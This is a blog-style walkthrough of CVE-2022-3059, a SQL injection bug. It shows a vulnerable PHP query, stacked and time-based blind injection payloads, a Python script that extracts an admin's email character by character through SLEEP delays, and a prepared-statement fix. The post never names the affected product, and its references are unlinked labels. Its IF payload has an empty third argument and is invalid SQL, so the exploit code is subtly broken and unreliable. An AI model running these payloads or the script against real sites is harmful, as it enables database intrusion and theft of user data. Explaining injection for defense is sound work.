CVE-2022-3059 - Demystifying a Real-World SQL Injection Attack (With Code & Exploit Walkthrough)

In this long read, we’ll break down CVE-2022-3059―a critical vulnerability that allowed attackers to perform both authenticated and unauthenticated SQL Injection attacks. The bug affects certain applications where input parameters aren’t properly sanitized. Worse, it supports *stacked queries* (multiple SQL queries in one request) which greatly increases the risk.

This post is exclusive: you’ll see simple language, clear code snippets, step-by-step exploitation explanation, and direct references. Let's dive in!

What Is CVE-2022-3059?

CVE-2022-3059 refers to a serious security flaw in some web applications where input from users was directly embedded into SQL statements. This creates an opportunity for attackers to inject their own SQL, compromise the application’s database, and possibly extract sensitive data.

References

- CVE official entry
- Original vendor advisory

Imagine a PHP web app that processes user input like this

// BAD CODE SNIPPET (VULNERABLE)
$id = $_GET['id'];
$sql = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $sql);

If there’s no proper input validation, a malicious user could enter

1; SELECT SLEEP(5); --

And the resulting query becomes

SELECT * FROM users WHERE id = 1; SELECT SLEEP(5); --

This demonstrates “stacked queries” — two SQL commands run one after another.

Authenticated and Unauthenticated Attack Vectors

Authenticated: Suppose the parameter is only accessible after login. An insider or anyone with an account could exploit it.

Unauthenticated: Worse, if the parameter is on an open page, *anyone* can try injecting SQL.

Example vulnerable request

GET /profile.php?id=1 HTTP/1.1
Host: target.site

Stack Query Support: The Game Changer

Most databases (like MySQL if not restricted) allow more than one query (separated by a semicolon) in a single statement if stacked queries are enabled.

Exploitation: Extracting Data with Sleep-Based Inferential SQL Injection

When we don’t see database error messages, we can use “blind” SQL injection—using time delays (like SLEEP) to infer if our guess about the database is correct.

Send a request with

/profile.php?id=1;SELECT SLEEP(5); --

If the page takes 5 seconds to load, the app is likely vulnerable!

Suppose we want to know if the first character of the admin’s email address is a. We use

/profile.php?id=1;SELECT IF(SUBSTRING((SELECT email FROM users WHERE username='admin'),1,1)='a',SLEEP(5),);--

IF(...,SLEEP(5),) — If true, sleep for 5 seconds

Repeat, changing 'a', to 'b', etc, track when the server delays, and so you can reconstruct the whole email address!

Here's a simplified Python exploit using requests

import requests
import time
import string

url = "http://target.site/profile.php";
found = ""

for position in range(1, 30):
    for c in string.ascii_lowercase + string.digits + "@._":
        payload = f"1;SELECT IF(SUBSTRING((SELECT email FROM users WHERE username='admin'),{position},1)='{c}',SLEEP(5),);--"
        start = time.time()
        requests.get(url, params={"id": payload})
        elapsed = time.time() - start

        if elapsed > 4:
            found += c
            print(f"Found so far: {found}")
            break

Vendor Patch & Mitigation

Vendors fixed this by validating parameters and using prepared statements instead of string concatenation.

Secure version

$id = $_GET['id'];
$stmt = $conn->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();

Conclusion

CVE-2022-3059 shows how dangerous SQL injection is—especially when stacking queries is possible and no sanitization is in place. Even if no SQL errors are visible, time-based techniques can fully compromise your database. Always validate inputs and use parameterized queries!

Timeline

Published on: 10/31/2022 21:15:00 UTC
Last modified on: 11/03/2022 16:44:00 UTC